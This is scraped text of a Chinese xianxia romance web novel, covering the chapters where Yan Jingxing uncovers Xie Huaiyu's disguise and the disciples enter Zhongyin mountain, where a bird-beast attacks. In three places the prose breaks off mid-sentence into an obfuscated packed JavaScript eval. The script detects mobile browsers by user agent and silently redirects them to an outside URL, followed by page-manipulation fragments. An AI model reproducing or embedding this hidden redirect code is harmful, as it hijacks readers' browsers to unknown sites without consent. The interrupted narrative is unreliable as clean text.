假山的形状刚好可容纳晏景行蜷在里面,让他从漏光的窟窿往外看。约摸半个时辰后,“宝君仙子”从旁边的紫竹林缓缓现身,走向正对假山的红桥。 桥边有一座闲适小亭,仙子刚走到亭子边,池塘里忽地跃起一条鲤鱼。 谢怀玉弯腰的动作微僵,维持着姿势,端坐在椅子上。 晏景行眼里仿佛生了火,所视之地触目即燃,盯得他浑身不适,坐立不安,却因担心露怯,不敢回望那道视线。 事情起源于长姐捉妖受伤,不能出演祭祀,他受父母之令,不得不假扮长姐跳祭祀舞。 可那天……是初三。 每月初三,他体内的含冰蛊便会发作。父母明知这件事,却还是向他开了口。所以他才会中途蛊发,摔下高台。 只是有一件事奇怪。 谢怀玉悄悄往晏景行那边望了一眼,风撩起面上薄纱一角。 当晏景行抱着他时,他身上的疼痛如坚冰遇烈火,顷刻化作一汪温水,不复存在,剩下汩汩温流,滋润着他的骨髓。 也是这样,他才能坚持回去。 晏景行全身红得像熟透了的柿子,心跳快得不正常,呼吸比被晏西施追着打还急促。 狭窄的空间里,他听见了自己的心跳声,一下又一下,砸得他发晕。 哪怕眼睛泛酸,他也不舍得眨眼,仿佛眨一下,就会错过什么珍贵画面。 “宝君仙子”脸上仍旧戴着面纱,看不清容颜,但对晏景行来说已经足够了。 他像是酒鬼喝饱了酒,棋痴下够了棋,全身上下每一寸皮肤,每一根骨头都透着心满意足。 自修仙以来,晏景行的五感六识愈发敏锐。刚才仙子转过来时,他清楚地看见了那颗长在左眼眼尾的红痣,跟祭祀那天一模一样。 同时,也跟谢怀玉的那颗一模一样。 眼尾红痣,两人身形,抱起来的感觉,以及他在谢怀玉身上闻到的,跟仙子身上一般无二的香味。 猜疑落定,那天跳祭祀舞的人,不是别人,正是谢怀玉。 事情想通串在一起后,晏景行的内心,由一时破迷的兴奋转为五味杂陈。 仙子变成了男子,的确让人有些难以接受。可是这男子,长得比仙子还像仙子,好像又没那么抗拒了。 所以,他心心念念的,其实是个男子? 所以,他其实是个隐藏的……断袖? 完了。 晏景行面无表情地想:晏西施这回铁定要打断他的腿了。 待了一会儿,“宝君仙子”起身,应该是要离开了。晏景行的心被不舍的情绪推搡挤到嗓子眼,却还记得答应过谢怀玉,不能惊扰仙子一事。 不过此时,这份约定已从“惊扰仙子”的担忧,变成了“若揭穿谢怀玉,对方恐羞愤过度,从此不见他”。 晏景行眼底闪过一丝说不清道不明的光芒,静静望着那道身影远去,直到再也看不见。 谢怀玉刚离开紫竹园,身上的服饰瞬间恢复成原本穿着的那套。他脸颊微微发烫,不理解自己怎么会做出这样的事。 不过这样一来,晏景行大概死心了。想到这点,谢怀玉卸下重担般轻松的同时,掺杂了一丝莫名的落空。 他抿了抿唇,下意识不愿去细想。 殊不知,得知真相的晏景行,高兴得忘了形,竟将下午听学一事全然忘却。 林伯背着一捆柴回来,看见坐在院子里刻木雕的晏景行时明显一愣,问道:“你今日不听学?” 手中的刻刀顿住,晏景行僵硬地抬起头,半天没说话。 林伯放下木柴,经过他身边时,意味不明地笑了一声。等他再出来,晏景行已经没了影。 云松书院内,笼罩着一片令人望而生畏的寂静。 晏景行矮下//身,顺着墙根,蹑手蹑脚地往窗户靠近。后脑忽地生出一股不详的冷意,他慢慢抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540506|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见了颜文渊探出窗口的脸。 “啊!” 晏景行吓得一屁股坐在地上,手掌按进树叶堆里,沾了不少泥土。 颜文渊居高临下地看着他,从鼻腔里喷出一声孺子不可教也的冷哼。 晏景行爬起身,把书袋跟身上的碎泥拍干净,扯出一个识时务的笑容:“先生,下午好啊。” 颜文渊道:“还不快进来!” 晏景行一下收了笑,扒着窗台,脚在墙壁上一蹬,翻身进了屋。 颜文渊欲拍桌的手,悬在桌面毫厘之距,不知顾及着谁,没落下去,沉声道:“再加一条,书院内不许翻窗,只准走门。” 晏景行捂着书袋往后走,看见最后一排多了一个人。 “小琢?”他又惊又喜,“你怎么来了?” 颜文渊回头看着他:“听学途中未提问,不允许私自讲话,回自己座位去。” 晏景行冲谢怀玉眨了眨眼,回到角落,翻开书袋,拿出纸笔。 颜文渊捋着胡子道:“我接着讲,修道快缓因人而异,灵根是主要原因,但若想破除灵根的桎梏,也有方法。身修与心修,二者缺一不可。你们现在的身修大多停在筑基期,心修恐怕一层也未突破。” “蓬莱的心修功法,分为开根、入定、冥想、通神四个阶段。开根后,神识如神魂,可游荡百米开外,查探周围情况。阶段越高,甚至能感知方圆五里、十里的危机。” 晏景行头回听这些内容,认真在纸上记下。只是颜文渊讲着讲着,拐了个弯,又讲到其他地方去了。 他不免分神,撕下一指长宽的纸,飞快地写下一行字,卷成小粒,朝右边一丢。 纸粒正好落在谢怀玉手指边,他扫了左边一眼,晏景行晃着脑袋,冲他挑了挑眉,眉梢含着股机灵劲儿。 谢怀玉面不改色,手指相互一搓,纸粒展成纸条,几个狗爬般的字挤在一起。 “小琢,你也要听学?” 谢怀玉没向他那样传纸条,只是偏头点了点,继续听讲。 不一会儿,桌上又多了一个纸团,他打开一看。 “为什么?” 谢怀玉摇了摇头,示意他认真听先生授课。 晏景行果然没再继续丢纸条,只是托着下巴,侧身盯着谢怀玉。 “蓬莱仙门修道分为攻守辅三类,如剑修、音修、毒修等为攻,符修、医修、体修等为守,丹修、食修、精修等为辅……晏景行。” 乍然听见自己的名字,晏景行猛地抬头,在弟子们的视线中,慢慢站起身。 颜文渊拿起戒尺:“我问你,何为精修?” “……精修?”晏景行眼珠子左右转动,瞥向回头对他做口型的连长机,“精修就是,亦仙亦邪的……修士。” “啪”一声,戒尺落在连长机桌角,他浑身一抖,登时目视前方。 颜文渊道:“精修的精,乃亦仙亦邪的精怪之意,修则为通灵之意。精修,一是修可通精怪问话之道,二是修此道的人。世间万事万物,凡有灵者,皆可通。” 晏景行道:“先生,学生一定谨记。” 颜文渊没让他坐下,不紧不慢道:“我看你有几分眼熟。” 晏景行从善如流道:“能被先生记住,是学生的福气。” 颜文渊不置可否,斜了他一眼,转身慢悠悠回到讲座。 到了下学时间,晏景行收拾好书袋,正想跟谢怀玉约着一起去吃晚饭,颜文渊已经拿着戒尺站到了他桌前:“你今日晚到,再留半个时辰。” 晏景行愤然坐回桌前。 谢怀玉对颜文渊点了下头,看了晏景行一眼,跟其他弟子一道出了讲堂。 18. 钟阴 晏景行的目光追着谢怀玉的身影,一直送他到视线尽头,才转将落在颜文渊脸上。 两人四目相对,他开口道:“你讲吧。” 连称呼都不带了。 颜文渊盯着他,眼眶四周的肌肉松松垮垮,像积了水的凋零花苞。眼珠虽有神,但离得近了,仍能看见一层上了年纪的灰蓝薄膜裹着眼球。 本就轻巧的脚步声远去,颜文渊讲学的声音压过稀疏的几声蝉鸣,讲的是晏景行晚到错过的内容。 树叶摇动,一股温风翻窗进来,晏景行在心里暗暗说了一句:“不许翻窗,走门进来”。 他听得昏昏欲睡,腹中饥鸣捧场地时响时停。 颜文渊敲敲桌子,问:“佩剑于剑修为何?” 晏景行瞪着眼,努力吊着眼皮:“佩剑为剑修之尊骨,剑气可看剑修之品性。” 颜文渊点了下头,脸上看不出满意与否。单从晏景行的回答看,的确认真听了课。 他转身,收拾东西道:“时间已到,你回去吧。” 晏景行双眼亮了一瞬,精神瞬间抖擞:“先生,那我走了!” 又带上称呼了。 听学的日子说着难熬,实际一眨眼便过去了大半个月。 六月初一,天狗之逐。 蓬莱仙岛天如玄镜,白羽飞鸟宛如流星,在无尽的碧空留下一道绵长的尾迹。 不少修士没达到瞬移的境地,只能乘行无羁——一种仙家载人的腾云,出行千百里。 一座行无羁上,可站数十人。 羽衣如云,降落钟阴。 钟阴之山乃此次天狗之逐的目的地,属蓬莱仙岛的西山脉。赤泽从这座山发源,向北流入九州渠。不缺水源,山中自然多生长奇花异木,潜藏蝮蛇凶兽。其中又有灵矿覆盖,地形奇特庞大。 钟阴境内,四时之景集于一山。参加天狗之逐的仙家们,聚集在入口的叹河岸边。 此时,这里已经围聚了上百人。 “他们蓬莱仙门倒是真气派,回回都让我们等。” 说话的,是蓬莱仙岛门下弟子人数最多的十三宗一弟子。 十三宗在蓬莱口碑好坏尤为极端。一是因为入门门槛低,宗门弟子鱼龙混杂,二是因为权力分势,十三宗除了宗主,还有六个副宗主,各管两宗。 宗主间暗潮涌动,今天是敌,明天是友,谁都不肯让权。 十三宗底层弟子嚣张跋扈,在蓬莱横行霸道的事迹家喻户晓,且宗门惩罚力度如隔靴搔痒,遂弟子们屡教不改。 又因宗主信奉宗门旺盛之道,从不设立将弟子逐出仙门的规矩,所以弟子数量庞大,衍生了三六九等。 这样的仙门能跟蓬莱仙门旗鼓相当,得益于三六九中的九,也就是上层弟子。他们皆出自世家,性格温顺有礼,修道上可谓天赋异禀,尤其是出生仙门的本宗弟子,一言一行都受管教。 不淘气,不逾矩,性谦卑,懂进退。 旁边稀稀拉拉,站了不到十三宗人数四分之一,看着莫名有一丝心酸的,便是清风派。 他们人少势微,听了十三宗这话,只笑一笑,没接茬。 徐渭之身为清风派大弟子,奉他们那八百年见不着一面的散养掌门传信之令,带领门派参加此次天狗之逐。 他估摸着时间,面上含着挑不出一丝差错的微笑,暗自腹诽:“就你们十三宗回回提前来,自己早到就算了,偏拉上我们,只为了给蓬莱仙门安上一个不守时的罪名。你们两大仙门之间的针锋相对,能别扯上我们小门小派吗?” 时辰一到,蓬莱仙门的弟子们准时到达钟阴。 为首的一人一身素青仙服,斜倚而躺,姿态慵懒。仔细看才发现,他身下有一张仙服同色的卧榻,卧榻下浮着四团轻云。 这人头顶银冠,坠着两条碧色细链,垂落至脸颊。卧榻平移间,宛如碧绿的水波映在雪色的皮肤边。乌黑的长发一板一眼地铺在后背,没有一丝凌乱。 五官是柔和俊美的长相,偏生了一双狐狸眼,微挑着眼尾看人,显出几分锐气。薄唇抿在一处,维持着一个恰到好处的笑容。 叹河附近只有胡乱生长的杂草,此人一出来,生生衬得此地如花海,三分艳靠遐想,七分艳在他身上。 十三宗的一名新弟子道:“这人如此风光,莫非是蓬莱少岛主?” 另一名在宗门内说得上话的弟子道:“什么少岛主,不过是个唇舌不饶人的老狐狸。” 他刚说完,前面的十三宗首席弟子暮千封迎身而出,语气不善:“青玄,你又摆什么谱?” 青玄的名号在蓬莱仙门并不常听见,熟知他的,大多是金丹及以上的弟子。 蓬莱岛主的侄子,地位可跟少岛主相提并论,以丹、符同修在能力出众的弟子间闻名。更闻名的,是他睚眦必报的性格。 但无论沾多少亲带多少故,蓬莱少岛主既然在天狗之逐的名列内,便轮不到他出面。 青玄看着他,嘴角笑意未变,一语不发。 他身后站着以蓬莱仙子为首的女弟子们,后面是沈端宁,祝风歌等人,再后面便是整齐的弟子队伍。 谢宝君身着弟子服饰,腰缠软剑。她目光如水,扫过历来不合的十三宗弟子,语气平静:“暮师兄这番质问,所谓何故?我们准时到钟阴,尚未发话,何来摆谱?” 她称暮千封一声师兄,是看在年纪。论身份地位,暮千封见了她,理应行礼尊称一声仙子。 暮千封被堵得胸口一梗,作势冷哼一声:“不过数米距离,青玄师弟还要坐卧榻?” 祝风歌冷声道:“就许你们乘行无羁,不许我们坐卧榻?怎么,这钟阴山是你们十三宗的地盘?” 他一句话不仅回击了暮千封,还映射了十三宗。拥戴暮千封的十三宗弟子瞬间变了脸色,往前一步,瞪着他们。 气氛瞬间剑拔弩张,一场无硝烟的战火,在两方你一句我一言的挑拨中,无声燃起。 夹在中间的清风派弟子望向徐渭之,寄予厚望的徐渭之心里暗骂一声,面上带笑,不得不开口给两边递台阶:“好了好了,进山的时间也差不多了,等入口结界打开,我们就进去吧。大家稍作休息,养精蓄锐,别在小事上费了精神。” 有人劝和,气氛一下缓解。徐渭之面不改色,心里明白他们并非真给清风派面子,而是都清楚此次要务为天狗之逐头筹,这时起争执得不偿失。 就算要打,也得进去了再打。 “真刺激,连祝师兄那样的人,都冷着脸,看来我们跟那个十三宗之间,的确有着深仇宿怨。” 晏景行蹲在石头上,双手放在眼前,只露出一双黑亮的眸子,兴致勃勃看着前方:“那个暮师兄,应该是十三宗很厉害的弟子。居然敢对蓬莱仙子无礼,真是不可置信。” “真是不可置信。”连长机转头对陆思涯道,“他的注意力居然在其他人身上。现在冲上去跟仙子说话的,不应该是他吗?” 陆思涯一锤定音:“事出反常必有妖。” 连长机抱臂,单手捏着下巴:“到底是什么妖,竟然让他连仙子都不放在眼里了?” “连城,思涯。”晏景行低头看着窃窃私语的两人,“你们在说什么?” “我们……”不等他回答,石头上的人不知看见了什么,跳下来就跑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虎牙压着一点唇肉陷进去,他笑得眼睛微眯:“而且我听说,天狗之逐处处危险,稍不留神便会没命。小琢那么厉害,想来照拂我一个小小五灵根一二,也不算难事,对吧?” 谢怀玉认真思考片刻,才不冷不热地“嗯”了一声,算是答应。 “谢谢小琢。”晏景行唇角微弯,目光从他的银冠下移到洁白小巧的耳垂,喉结滚动了一下。 有那么一瞬间,谢怀玉察觉到一丝置身于野兽狩猎目光中的危险。 他抬起头,晏景行正盯着他的脸,眼神不像平常那样,清澄得没有一丝杂质。乌黑的睫毛掩盖了上半部分黑亮的眼眸,折射出一片阴翳,仿佛其下潜藏着不可告人的秘事。 再想细看,那双眼睛又变回了纯净的湖泊,那些他看不懂的情绪,潜沉入了湖泊底。 “怎么了?”不过瞬息的发愣也被晏景行看出,碰了碰他的肩,“莫非小琢想反悔,不照拂我了?颜老头教过,言而无信非君子。” 谢怀玉侧身,不让他贴着自己:“没有。” 连长机跟陆思涯等弟子们全部走到前面去,才看见晏景行站在曾有一面之缘的少岛主身边喋喋不休。 “厉害啊。”连长机不由在心里竖起拇指,“为了我们顺利度过这次天狗之逐,景行这家伙居然找了少岛主当靠山?” 陆思涯回头看了一眼,大部分弟子已经进去了,他开口提醒道:“景行兄!” “来了。”听见催促,晏景行偏头看向谢怀玉,“小琢,我们也进去吧。” 19. 钟阴2 待全部弟子进去,钟阴山结界重新封锁。 蓬莱仙门的弟子聚集在一棵撑开的巨伞古木下,祝风歌用眼神示意青玄,得到人一句懒洋洋的“你来说吧”。 “好。”祝风歌点头,寻了处高位站,对弟子们道,“本次天狗之逐任务有三,一除山中邪祟,二去河中污浊,三见沉睡天狗。谨记,千重万重,性命为重。山中刚放了许多性情残暴的妖兽进来,在无性命之忧、能力之内的前提下,尽可能猎杀妖兽,剖取妖丹。” “河中污浊若不知为何物,不要靠近,更不要轻举妄动。至于天狗,虽希望渺茫,但未尝不可一试。切记勿贪勿莽,必要时弃物保命。” 待祝风歌嘱咐完,青玄从卧榻上施然落地,一挥袖,将卧榻收进袖中乾坤:“上次暮千封害我错失即将到手的头筹,这次,他别想轻松度过天狗之逐。” 祝风歌竖起拇指道:“真正做到君子报仇十年不晚的,也就是你了。” 蓝涧脸上浮起一起担忧:“你还是小心些吧,别意气用事。” 青玄回眸:“你这是担心我?” 蓝涧顿了顿,移开目光:“只是出于同门师兄弟情谊罢了。” 青玄笑了:“不然还能是因为什么?” 蓝涧一时语塞,转身不再搭理他。 “你别总逗他。”祝风歌劝了一句,挥手对众弟子道,“你们都散开吧,该说的我都已经说了,成群结队也好,孤身作战也罢,天狗之逐历来时间不定,短则十几天,长则两三月。不过,我还是建议同门结伴,有危险尽量往师兄们在的地方跑。” 弟子们脸上带着对未知的畏惧与茫然,平时交好的同门,心照不宣地互相靠近,慢慢四散开来,往钟阴深处走去。 初入钟阴山,是一望无垠的密林。巨大的古树拔地而起,直入云天。蓁莽重重,路迹曲折,人在其中宛如蝼蚁爬行。 不知名的鸟雀怪鸣声,从看不见的山谷传来,带着隔空的流水低音。 错综复杂的道路,详细得如同树叶脉状,一条条分散拥挤的人群。晏景行用拳头抵着路边的树锤了两下,树干发出“砰砰”如坚硬铁皮的撞击声。 “这是什么树?”晏景行摸了摸树皮,“比石头还硬。” 谢怀玉看了眼道:“不死树。” 晏景行惊讶道:“真的假的?” 旁边的连长机跟陆思涯一路沉默,两人跟谢怀玉不算熟,偶尔有心接话,一触碰到谢怀玉冷淡的神情,话到嘴边又吞进了腹中。 “我们现在该做什么?”晏景行走过去,一掌拍在连长机肩上,“你跟思涯今天怎么不说话,平时没见你们话这么少。” 连长机意有所指道:“你这样的,就算看见玉皇大帝,也能说上话。” “是吗?”这话又叫晏景行得意起来,“原来在你心里,我以后还能飞升去跟玉帝说话呢。” 连长机道:“少贫嘴,没听祝师兄说,这次比赛时间那么长,你没辟谷,吃喝怎么解决?” 陆思涯道:“山中不缺吃的,只是大多有毒,需要辨别。” 三人一说话,习惯性围成一个圈。 谢怀玉站在圈外,目光从晏景行身上移开,落在身前一枚绿叶尖上。 他鬼使神差地伸手,摩挲那边光滑的叶片发呆。那边的交谈还在继续,时不时响起晏景行愉悦的笑声。 少年人的声音其实大同小异,无非是清脆悦耳,带着天然的潇洒恣意,混在一起,乍一听分不出谁是谁的。 晏景行的声音却有些不一样,像是安了寻路符,直往谢怀玉耳朵里钻。 谢怀玉手上一松,蹙眉看了眼已有些泛光的叶片。上面没有一根毛刺,他却无端觉得扎手。 叶片另一面,长着黄豆大小的两个鼓包,底部像熟透的豆荚一样裂开,里面空空如也。 “幸好我早有准备。”晏景行翻开书袋,“看,我提前带了吃的!” 连长机瞥了谢怀玉一眼,声音压低:“这算不算作弊?” 晏景行立刻扬声道:“当然不算了,这叫聪明!” 他掏出一叠油纸包着的酥饼,献宝一样靠近谢怀玉:“小琢,你尝尝这个。” 这称呼叫连长机听得眉心一皱,跟陆思涯交换了一个又惊又疑的眼神。 “我刚才幻听了。”连长机拍了拍耳朵。 “不。”陆思涯点头,“我也听见了。” 酥饼是晏景行去饱了殿拿的,那些食修的弟子,为了应付天狗之逐,早早便私下囤好了粮。 食修的法器是锅勺一类的东西,可变幻大小。按晏景行所偷听到的,那些弟子打算将钟阴山变成饱了殿的后厨。 谢怀玉没看他:“你自己留着吃,我先去找附近邪祟。” 晏景行把酥饼收起来,冲后面两人招手:“走,小琢要带我们去找邪祟。” “我没……”谢怀玉刚要否认,晏景行紧靠过来,几乎要将他挤到路边,却又“好心”地伸出一只胳膊护着他的腰。 “小琢,你有什么需要尽管使唤我们。”晏景行朝连长机使了个眼色,“我们不怕苦也不怕累,就怕你不好意思说。” “对、对啊。”连长机意会,见缝插针地开口,“那个,少岛主,你既是景行的朋友,也就是我跟思涯的朋友,有事大家一起分担,别不好意思。我叫连城,你叫我长机就行。” 陆思涯紧跟了一句:“对。我叫陆平生,字思涯。” 晏景行看向连长机,笑道:“那你怎么还少岛主少岛主地叫,多生分。” 连长机试探道:“那我应该叫,怀玉?” 谢怀玉垂眸,神色让纵使就在他跟前的晏景行,也分辨不清。先前那些令他胸口堵塞的情绪一扫而空,似从光滑的叶片滑过,没了踪影。 来得莫名其妙,去得也毫无原由。 好在晏景行了解他的性子,没得到回应也能自顾自的圆场:“当然得叫怀玉了,难不成你还想叫小琢?小琢是你叫的吗?” 连长机撇撇嘴,颇有几分不屑之意。他双手抱胸,提议道:“钟阴树木丛生,找邪祟的时候,顺便看看有没有野果之类的东西吧。” 陆思涯提防地扫了一眼附近,从衣襟内掏出一本厚厚的小册:“我带了。” 几人回头,见他翻开小册,上面绘着草木图。 “我去藏书阁借的。”陆思涯走近些,方便另外三人观看,“里面都是钟阴山生长的花草树木,附带了注解。” 晏景行叹为观止,又遗憾道:“我怎么没想到。” 要是这时候拿出小册的是他,说不定他在小琢心里的印象,能多几分可靠。 连长机看出晏景行遗憾背后的深意,顿时瞪大了双眼,又恐自己意会错了,于是将目光投向陆思涯。 然而陆思涯没接收到这道目光,他低着头,一心扑在小册上,手中书页翻阅出残影。 “找到了。”陆思涯指着书中绘图,面上显出欣喜,“这种叫葚的野果可以吃,而且汁水香甜,有助眠功效。” “小琢,”晏景行记下葚的模样,“我们先去找野果,然后再找个隐蔽的地方休息吧。打打杀杀的,也太可怕了。” 四人里就晏景行没法器,谢怀玉能理解他为何说出这番话。 葚生长在低矮的灌木丛,他们便没将注意力放在高大的树木上。行走间,偶尔能听见远处其余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540508|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子或跑或跳的动静。 晏景行忽然问道:“小琢,你可知十三宗,为何跟我们仙门水火不容?” 谢怀玉像是没想到他会问这个问题,惊讶的情绪第一次直白地表现在脸上。 晏景行不由轻笑了一声:“很惊讶吗?我居然会问这些。” 谢怀玉收起表情:“有一点。” “你跟我讲讲嘛,我就是好奇。”晏景行碰了碰谢怀玉的胳膊,“不过想也知道,十三宗弟子目中无人,那股气焰定是受领头的默许。毕竟上梁不正下梁歪,我说的对不对?” 谢怀玉没说对也没说不对,只缓缓道:“蓬莱仙门与十三宗恩怨由来,始于一场领土争夺。十三宗宗主认为,蓬莱仙门霸占领地,如今的位置,该轮到十三宗居住,于是提出换址。岛主不愿退让,就这样跟十三宗结下了梁子。” 晏景行却注意到,他生疏地称生父为岛主,一时猜测颇多。 “至于先前的青玄跟暮千封,我并不在场,只知十年前的天狗之逐,青玄本应得到头筹,却被暮千封刻意阻碍。这件事,让本就不算和睦的两门派弟子,互相产生了怨念。” 晏景行不解道:“他们哪儿来的脸有怨?” 谢怀玉道:“他们那边觉得,其实是青玄阻碍了暮千封夺头筹。” “原来是这样。”连长机在身后听完,不禁开口,“这十三宗还真是专横自大,未进蓬莱前,我可从没听过他们的名号。” 谢怀玉道:“十三宗兴建不过百余年,不曾听闻也正常。” 乍一听见回应,连长机脸上浮现出受宠若惊,一转头看见晏景行正盯着自己。 他用口型问了句:“你跟他发生了什么?” 晏景行用以口型:“你猜。” 两人打哑谜的举动被陆思涯尽收眼底,不过他没有多想,忙着继续翻看小册。 找到葚的时候,晏景行嘱咐不要声张:“我们只能告诉自家弟子,如果那个什么清风派对我们没敌意,也可以说。” 连长机道:“你就直说别让十三宗知道不就好了?” 陆思涯有些犹豫道:“景行兄,整个蓬莱的仙家弟子,只有你一个五灵根,其余灵根到辟谷的境地,不算难事。所以,他们好像用不着饱腹。” 晏景行沉默了片刻,用力揪下一串葚放进书袋里:“我到底哪里得罪老天了,非给我一个五灵根?” 连长机憋着笑道:“我去附近看看,你慢慢摘。” 因为太用力,不少葚被挤破,漏了一手乌红的汁水,谢怀玉拿出一条雪白的手帕递给他。 “没事。”晏景行正要拒绝,闻见手帕上飘过来的一缕冷香,改变了主意。他把汁水全部蹭在树叶上,两指捏着手帕一角,一点一点塞进了袖中。 陆思涯仍低头看着小册:“这本书挺有意思的,不仅有植物,还有动物。你们看,上面记载了一种奸诈的鸟兽,名鬼话奴。擅长用野果的果浆涂在胸前的白色羽毛部分,装成受伤的模样,使人降低戒备。” 晏景行随口问道:“长什么样?” “模样么,”陆思涯一面念,一面四处瞟,“鸟喙是红色,因为喜喝血。胸前的羽毛是白色,其余是青黑色,但是有四足,大小就跟……” 视线落在不远处连长机的身旁,陆思涯顿了顿,眉心一紧,大喊道:“连城,快躲开!” 连长机闻声而动,弯腰躲过身后的袭击。一回头,一只奇形怪状的鸟兽停在距离他不过三寸的半空,跟他四目相对。 鬼话奴脖子出其不意地一伸,像一把伸缩自如的长剑,在连长机脸上啄出一个血坑。 连长机忍不住痛哼一声,捂着脸连退几步。 20. 钟阴3 一张灵符电光火石直冲鬼话奴。 连长机虽疼痛难忍,但手上动作并不含糊,当即拔剑,蓄了怒气,与灵符一道刺向鬼话奴。 晏景行见势不妙,匆忙放下书袋想过去,却被谢怀玉拦住。 连长机剑不停断,却连鬼话奴半根羽毛都没削到。所幸陆思涯的灵符可寻着邪气追袭,紧紧贴在鬼话奴后背上,顺着羽毛燃起一簇火花。 呕哑嘲哳的叫声凄厉地切割众人的耳膜,晏景行用力捂住耳朵,忍不住跪坐在地。 眼前的灌木丛不断旋转,他头晕眼花,起身时重心失稳,一头栽进了草丛里。 谢怀玉一手弹指使出一道灵力,捆住鬼话奴的身躯。不想它坚硬的四足倏地展开铁钩一样的利爪,朝着连长机面门凶狠剜去。 另一手取下发冠上的雪绸,在晏景行身旁结出一道清透的屏障。 陆思涯连用四张灵符,挡住鬼话奴的利爪。灵符乃他灵力、血液所化,与他识海相连。此刻又与鬼话奴浑身的邪气相抵,竟一时承载不住,眼前隐隐发黑。 他不再犹豫,召出芥子袋,数米长的灵符瞬间飞窜出来,鼓如风中幡。灵符锋芒利如剑,四周狂舞的树叶一触即裂。 雪绸形成的屏障,被旋转如漩涡的碎叶堆慢慢包裹吞噬。 屏障隔绝了鬼话奴的魔音,也隔绝了外面的画面。蔽目塞耳,晏景行从草丛里茫然抬起头,视线被一圈“树叶墙”挤得满满当当。 他站起身,用力去扒厚厚的叶墙,摸到屏障,以为是鬼话奴的伎俩,一面怒捶,一面叫道:“小琢,连城,思涯,你们没事吧?” 其余人没时间回应,灵符宝剑接连而上,鬼话奴丝毫不慌。它慢悠悠且狡猾至极,在陆思涯跟连长机之间周旋。 一道身影闪到两人身边,谢怀玉徒手捏住滚成一团火球的鬼话奴,五指一用力,听得“嘣”一声,一滩乌黑发臭的血浆,从他左手掌心滴落成断续的流线。 其余两人,一个举剑,一个唤符,皆愣在原地。 谢怀玉又一挥手,召回雪绸。困住晏景行的树叶墙失去承载,哗啦啦散落了一地骨架,堆积在他脚边。他身子被挥出去的拳头带着往前一扑,差点摔倒,好悬稳住,抬头一瞧,顿时提紧心脏。 “小琢,你受伤了?!” 陆思涯安慰地拍了拍连长机的肩。 谢怀玉没来得及回话,冷眸侧扫,一道灵气向后打去,半空中发出一声适才听过的熟悉痛叫,旋即又一只鬼话奴显出身影。 “竟然还有!”陆思涯二话不说,灵符多似雨点打在鬼话奴身上,噼啪宛如爆竹。 晏景行吓得脸色一变,机灵地匍匐在地,收敛呼吸,慢慢朝谢怀玉那边靠近,同时不忘施展五行简术的通木,跟四周的草木打好关系。 很快,有藤条枝叶被说动,却在靠近谢怀玉时,纷纷缩了回来。 肯定是小琢气场太强大了,这些住在深山老林的植物,没见过什么大人物世面,难怪会怯场。 晏景行大人不记小草过,边爬边想,那边已经再度展开打斗。 连长机染了半面的血,一张脸上红白两种颜色,一面像阎罗恶鬼,一面又像洁世仙君,两者冲撞难分胜负,全靠一身正气压下来。 陆思涯神情严肃,警惕地察看附近是否还藏有其他鬼话奴,语气担忧道:“这儿的动静太大,会不会吸引来更多的妖物?” 连长机疼得龇牙咧嘴,回道:“不然怎么还有第二只?”鬼话奴在他脸上留下了邪气,正顺着血肉往骨髓里钻。 他脸上的血迹干涸,凝结成薄薄一层,贴在皮肤上,随着表情堆起褶皱,松落的血块碎屑,雪花一样往下飘。 谢怀玉行事一向雷厉风行,绝不拖沓。他目光锁在鬼话奴身上,出手迅疾,袖中不慎掉出一件物品,一路滚到晏景行跟前。 “这是……” 晏景行看着眼前熟悉的东西愣住,这是他后来送给谢怀玉的木偶娃娃。因为之前的木偶都雕刻得太丑,谢怀玉没收。所以他精雕细琢了好几个晚上,才雕刻出稍微满意的一个。 担心送不出去,他还特意在木偶脸上,镶嵌了两颗一模一样的偏灰色玉石,漂亮得像是人的眼珠。 鬼话奴身上还冒着火,皮都快烧焦了,却攻势一转,俯冲向晏景行。 “景行!快躲开!”连长机跟陆思涯异口同声,手中宝剑跟灵符,也不约而同掷来,一条雪绸却先他们一步赶到。 晏景行还没碰到木偶,脸颊传来炙热的高温,一团火球落在木偶身上。鬼话奴利爪弯曲,钩起木偶欲逃。 弃物保命。 祝风歌的话在晏景行脑中摇响警铃,他按捺住想抢回木偶的心思,猛地翻了个身,迅速远离了鬼话奴。 反正手艺在身,等回去再给小琢雕一个便是。 下一秒,鬼话奴竟贪心不足地张开鸟喙,叼走了谢怀玉的雪绸。 它一身火焰,晏景行唯恐把雪绸烧坏,不知哪儿来的勇气,急忙跳起来,追上去道:“站住!把小琢的雪绸还回来!” “不用追。”谢怀玉伸手拦住他,口中道,“回来,白露。” 下一瞬,雪绸果然化作一缕清光,完好无损地回到发冠上。 鬼话奴愤恨地瞪了他们一眼,携木偶仓皇潜逃。 一地狼藉中,谢怀玉道:“我看看你的伤。” 脚下就是草地,连长机直接坐在地上,支着一条腿,仰面让谢怀玉察看伤势。 鬼话奴的鸟喙含有剧毒,伤口在颧骨下方,肉最多的位置,此刻已经从褐色的血坑转变为乌黑的深洞。 